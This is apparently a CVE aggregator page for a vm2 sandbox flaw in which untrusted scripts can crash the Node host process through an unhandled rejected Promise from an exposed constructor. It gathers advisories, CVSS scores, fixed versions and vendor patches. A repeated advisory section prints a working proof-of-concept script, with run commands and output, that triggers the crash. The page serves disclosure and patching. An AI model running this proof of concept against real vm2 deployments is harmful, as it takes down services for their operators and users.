Every CVE Search/ Get API key

CVE-2026-100722

vm2 before 3.12.2 Host Process Termination via Construct Trap

8.9 HighFix available

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.32%Up 0.1 points since Sep 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.9

vm2 before 3.12.2 Host Process Termination via Construct Trap

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
CVE-2026-100722
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
EUVDEUVD-2026-87857 8.9

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
EUVD-2026-87857
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-2v2p-6j97-cjg9 8.9

vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process

Summary

An untrusted script run by VM.run can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host construct trap forwards that Promise without applying the host-side rejection handling already used by the neighboring apply trap, so Node's strict unhandled-rejection policy terminates the host process.

Technical Details

The precondition is an application-supplied constructable host function in the VM sandbox whose constructor body returns a native rejected Promise. In JavaScript, an object explicitly returned by a constructor replaces the newly allocated instance, so new HostReject() produces that Promise.

VM.run executes the attacker-controlled source. For an ordinary host-function call, BaseHandler.apply invokes the host function, calls markHostPromiseHandled(ret), and then wraps the result. The adjacent BaseHandler.construct path instead calls Reflect.construct and returns thisFromOtherWithFactory(...) without calling the same sanitizer. The rejected host Promise therefore crosses the bridge still unhandled. With Node's strict unhandled-rejection behavior, the rejection is promoted to an uncaught exception and kills the host process.

The shortest path is VM.run → the sandbox bridge → BaseHandler.construct. The control changes only the guest expression: it attaches .catch(function () {}) to the constructed Promise before ignoring it. The host function, VM configuration, rejection, and Node policy remain the same, and the control process survives.

This is unintended because the repository's GHSA-gjq8 hardening explicitly marks host Promises handled at the apply boundary, while no equivalent handling exists in the adjacent construct return path. The construct path is a distinct boundary and fix surface, not a second invocation of the already-fixed apply path.

PoV

Save the following as construct-promise-poc.js:

'use strict';

const { VM } = require(process.cwd() + '/lib/main.js');

function HostReject() {
  return Promise.reject(new Error('constructed-host-boom'));
}

const mode = process.argv[2];
const vm = new VM({ sandbox: { HostReject } });

if (mode === 'vulnerable') {
  console.log('VULNERABLE_STARTED');
  vm.run('new HostReject(); 1');
  setTimeout(() => console.log('ALIVE'), 300);
} else if (mode === 'control') {
  vm.run('new HostReject().catch(function () {}); 1');
  setTimeout(() => console.log('CONTROL_ALIVE'), 300);
} else {
  throw new Error('usage: node construct-promise-poc.js vulnerable|control');
}

PoC

Check out vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164, install its declared dependencies with npm ci --ignore-scripts, and save construct-promise-poc.js in that checkout's module root (the directory containing package.json and lib/). Run the script and both commands below from that same module-root directory. The script resolves lib/main.js from the current directory, so the test uses the checked-out vm2 source.

Tested with vm2 3.11.8 at that revision on Node.js v26.8.1, with NODE_OPTIONS=--unhandled-rejections=strict. The abort flag makes the process crash signal explicit:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable

Abridged vulnerable output:

VULNERABLE_STARTED
Error: constructed-host-boom
    at VM2 Wrapper.construct (.../lib/bridge.js:2340:11)
    at VM.run (.../lib/vm.js:613:16)

The process exits before printing ALIVE (exit status 139 in the tested execution). The stack paths are environment-dependent; the construct and VM.run frames identify the relevant target functions.

The otherwise identical control is:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control

Control output:

CONTROL_ALIVE

The control exits successfully. The crash is a process-level…

Record
GHSA-2v2p-6j97-cjg9
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248, CWE-703
Updated
2026-11-02
GitHub AdvisoriesGHSA-7rr2-8fr3-fjqx 8.9

Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2v2p-6j97-cjg9. This link is maintained to preserve external references.

Original Description

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
GHSA-7rr2-8fr3-fjqx
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
NVD 8.9

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
CVE-2026-100722
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
OSV 8.9

vm2 before 3.12.2 Host Process Termination via Construct Trap

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
CVE-2026-100722
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Weakness
CWE-248
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-2v2p-6j97-cjg9 8.9

vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process

Summary

An untrusted script run by VM.run can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host construct trap forwards that Promise without applying the host-side rejection handling already used by the neighboring apply trap, so Node's strict unhandled-rejection policy terminates the host process.

Technical Details

The precondition is an application-supplied constructable host function in the VM sandbox whose constructor body returns a native rejected Promise. In JavaScript, an object explicitly returned by a constructor replaces the newly allocated instance, so new HostReject() produces that Promise.

VM.run executes the attacker-controlled source. For an ordinary host-function call, BaseHandler.apply invokes the host function, calls markHostPromiseHandled(ret), and then wraps the result. The adjacent BaseHandler.construct path instead calls Reflect.construct and returns thisFromOtherWithFactory(...) without calling the same sanitizer. The rejected host Promise therefore crosses the bridge still unhandled. With Node's strict unhandled-rejection behavior, the rejection is promoted to an uncaught exception and kills the host process.

The shortest path is VM.run → the sandbox bridge → BaseHandler.construct. The control changes only the guest expression: it attaches .catch(function () {}) to the constructed Promise before ignoring it. The host function, VM configuration, rejection, and Node policy remain the same, and the control process survives.

This is unintended because the repository's GHSA-gjq8 hardening explicitly marks host Promises handled at the apply boundary, while no equivalent handling exists in the adjacent construct return path. The construct path is a distinct boundary and fix surface, not a second invocation of the already-fixed apply path.

PoV

Save the following as construct-promise-poc.js:

'use strict';

const { VM } = require(process.cwd() + '/lib/main.js');

function HostReject() {
  return Promise.reject(new Error('constructed-host-boom'));
}

const mode = process.argv[2];
const vm = new VM({ sandbox: { HostReject } });

if (mode === 'vulnerable') {
  console.log('VULNERABLE_STARTED');
  vm.run('new HostReject(); 1');
  setTimeout(() => console.log('ALIVE'), 300);
} else if (mode === 'control') {
  vm.run('new HostReject().catch(function () {}); 1');
  setTimeout(() => console.log('CONTROL_ALIVE'), 300);
} else {
  throw new Error('usage: node construct-promise-poc.js vulnerable|control');
}

PoC

Check out vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164, install its declared dependencies with npm ci --ignore-scripts, and save construct-promise-poc.js in that checkout's module root (the directory containing package.json and lib/). Run the script and both commands below from that same module-root directory. The script resolves lib/main.js from the current directory, so the test uses the checked-out vm2 source.

Tested with vm2 3.11.8 at that revision on Node.js v26.8.1, with NODE_OPTIONS=--unhandled-rejections=strict. The abort flag makes the process crash signal explicit:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable

Abridged vulnerable output:

VULNERABLE_STARTED
Error: constructed-host-boom
    at VM2 Wrapper.construct (.../lib/bridge.js:2340:11)
    at VM.run (.../lib/vm.js:613:16)

The process exits before printing ALIVE (exit status 139 in the tested execution). The stack paths are environment-dependent; the construct and VM.run frames identify the relevant target functions.

The otherwise identical control is:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control

Control output:

CONTROL_ALIVE

The control exits successfully. The crash is a process-level…

Record
GHSA-2v2p-6j97-cjg9
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248, CWE-703
Updated
2026-11-02
OSVGHSA-7rr2-8fr3-fjqx 8.9

Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2v2p-6j97-cjg9. This link is maintained to preserve external references.

Original Description

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Record
GHSA-7rr2-8fr3-fjqx
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
OSVCLSA-2026-1791279062 No score

TuxCare security update for vm2 (8 CVEs)

TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.

Record
CLSA-2026-1791279062
Updated
2026-11-02
OSVCLSA-2026-1791282796 No score

TuxCare security update for vm2 (3 CVEs)

TuxCare rebuilt vm2 to address 3 CVEs. Fixed in 3.11.5-tuxcare.5.

Record
CLSA-2026-1791282796
Updated
2026-11-02
OSVCLSA-2026-1791666488 No score

TuxCare security update for vm2 (4 CVEs)

TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.10.0-tuxcare.7.

Record
CLSA-2026-1791666488
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-100722 No score

CVE-2026-100722 in vm2 - Patched by Root

Root has patched CVE-2026-100722 in the vm2 package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-100722
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vm2
npm
through 3.12.1
3.12.2
vm2
TuxCare:npm
3.11.7-tuxcare.0 up to 3.11.7-tuxcare.1, plus listed versions
3.11.7
3.11.7-tuxcare.1
vm2
TuxCare:npm
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.5, plus listed versions
3.11.53.11.5-tuxcare.13.11.5-tuxcare.23.11.5-tuxcare.33.11.5-tuxcare.4
3.11.5-tuxcare.5
vm2
TuxCare:npm
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.7, plus listed versions
3.10.03.10.0-tuxcare.13.10.0-tuxcare.23.10.0-tuxcare.33.10.0-tuxcare.43.10.0-tuxcare.53.10.0-tuxcare.6
3.10.0-tuxcare.7
vm2
npm
before 3.12.2
3.12.2
vm2
Root:npm
before 3.11.6-aikido.1
3.11.6-aikido.1
@rootio/vm2
Root:npm
before 3.11.6-root.io.1
3.11.6-root.io.1

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-100722 is a high vulnerability (CVSS 8.9) in Patriksimek Vm2, published September 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 24th percentile. Fixed in vm2 3.12.2.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open